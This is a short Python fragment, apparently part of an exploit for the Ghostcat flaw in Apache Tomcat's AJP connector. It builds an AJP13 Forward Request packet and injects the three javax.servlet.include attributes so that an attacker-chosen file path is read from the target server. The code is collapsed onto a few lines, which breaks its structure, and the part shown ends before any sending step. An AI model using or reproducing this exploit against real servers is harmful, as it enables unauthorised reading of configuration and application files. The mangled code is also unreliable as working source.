def pack_string(s): if s is None: return struct.pack('>H', 0xffff) b = s.encode('utf-8') return struct.pack('>H', len(b)) + b + b'\x00'
def exploit(target_host, target_port, file_path): # AJP13 Forward Request Header # 0x02 = Forward Request, 0x02 = GET Method data = b'\x02\x02' data += pack_string("HTTP/1.1") data += pack_string("/index.jsp") data += pack_string("127.0.0.1") data += pack_string(None) data += pack_string("127.0.0.1") data += struct.pack('>H', 80) data += b'\x00' # is_ssl: false data += struct.pack('>H', 0) # num_headers: 0
# 注入核心:Ghostcat 必备的三个属性 attrs = [ ("javax.servlet.include.request_uri", "/"), ("javax.servlet.include.path_info", file_path), ("javax.servlet.include.servlet_path", "/") ] for name, value in attrs: data += b'\x0a' # SC_A_REQ_ATTRIBUTE data += pack_string(name) data += pack_string(value) data += b'\xff' # terminator